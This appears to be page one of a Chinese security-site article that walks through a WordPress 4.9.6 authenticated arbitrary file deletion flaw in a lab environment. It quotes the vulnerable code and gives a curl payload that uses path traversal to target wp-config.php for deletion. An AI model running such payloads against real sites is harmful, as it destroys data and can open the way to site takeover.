欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Wordpress <= 4.9.6 任意文件删除漏洞

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿


WordPress是如今使用最为广泛的一套内容管理系统。根据 w3tech 统计,全世界大概有30%的网站运行着WordPress程序。
近日RIPS团队公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 WordPress 最新版 4.9.6.
本文我们将结合 VulnSpy 的在线 WordPress 环境来演示该漏洞的利用。
VulnSpy WordPress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/
 
漏洞分析
文件wp-includes/post.php中
function wp_delete_attachment( $post_id, $force_delete = false ) {
    ...
    $meta = wp_get_attachment_metadata( $post_id );
    ...
    if ( ! empty($meta['thumb']) ) {
        // Don't delete the thumb if another attachment uses it.
        if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id  %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
            $thumbfile = str_replace(basename($file), $meta['thumb'], $file);
            /** This filter is documented in wp-includes/functions.php */
            $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
            @ unlink( path_join($uploadpath['basedir'], $thumbfile) );
        }
    }
    ...
}
$meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。
文件/wp-admin/post.php中
...
switch($action) {
...
    case 'editattachment':
        check_admin_referer('update-post_' . $post_id);
        ...
        // Update the thumbnail filename
        $newmeta = wp_get_attachment_metadata( $post_id, true );
        $newmeta['thumb'] = $_POST['thumb'];
        wp_update_attachment_metadata( $post_id, $newmeta );
...
$newmeta['thumb']来自于$_POST[‘thumb’],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。
详细分析可见:WARNING: WordPress File Delete to Code Execution – https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
 
漏洞利用
1. 使用VSPlate安装你的Wordpress 4.9
WordPress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/

2. 登录后台,添加媒体
访问 http://9c9b.vsplate.me/wp-admin/upload.php, 上传任意图片.

3. 将 $meta[‘thumb’] 设置为我们要删除的文件
3.1 点击第二步中我们上传的图片, 并记住图片ID.

3.2 访问 http://9c9b.vsplate.me/wp-admin/post.php?post=4&action=edit. 在网页源代码中找到 _wpnonce.

3.3 发送Payload:
curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

4. 删除文件
4.1 在网页源码中找到另外一个 wpnonce.

[1] [2]  下一页

(责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。